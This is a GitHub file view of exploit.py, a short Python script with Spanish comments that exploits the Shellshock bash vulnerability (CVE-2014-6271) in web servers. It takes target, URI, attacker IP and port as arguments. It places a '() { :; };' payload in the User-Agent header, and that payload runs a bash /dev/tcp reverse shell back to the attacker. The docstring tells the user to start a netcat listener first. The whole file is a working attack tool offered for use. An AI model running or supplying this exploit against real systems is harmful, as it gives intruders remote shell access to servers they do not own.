-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
55 lines (38 loc) · 1.71 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
"""
Este exploit abusa de la vulnerabilidad Shellshock (CVE-2014-6271)
que afecta a las versiones desde la 1.14 hasta la 4.3. El siguiente script
abusa de la cabecera User-Agent para ejecutar una reverse shell en la máquina
objetivo.
NOTA: Debe ponerse en escucha con NetCat con el siguiente comando antes de ejecutar el script:
ncat -lkvnp <attacker-port>
"""
import argparse
import requests as req
# Lista de argumentos aceptados
parser = argparse.ArgumentParser()
parser.add_argument("--target", "-t", help="Especifica la IP del objetivo.")
parser.add_argument("--uri", "-u", help="Especifica la ruta a testear")
parser.add_argument("--attacker", "-a", help="Especifica la IP del atacante donde se recibirá la reverse shell.")
parser.add_argument("--port", "-p", help="Especifica el puerto que recibirá la reverse shell.")
parser.add_argument("--https", "-s", help="Especifica si se aplica el protocolo HTTPS. (Default: false)")
args = parser.parse_args()
# Validación de argumentos requeridos
if not args.target or not args.uri or not args.attacker or not args.port:
print("[X] USO: python3 ./exploit.py -t <target-ip:str> -u <uri:str> -a <attacker-ip:str> -p <port:int>")
exit(1)
# Preparación de la carga util
payload = f'/bin/bash -i>&/dev/tcp/{args.attacker}/{args.port} 0>&1'
headers = {
'User-Agent' : "() { :; }; echo; /bin/bash -c " + payload
}
# Validando use del protocolo HTTPS
protocol = "http"
if args.https:
protocol = "https"
# Petición HTTP a ruta vulnerable con header malicioso
res = req.get(f'{protocol}://{args.target}/{args.uri}', headers=headers)
if res.status_code == 200:
print("Ejecución completada")
else:
print("Ha ocurrido un error en la peticion")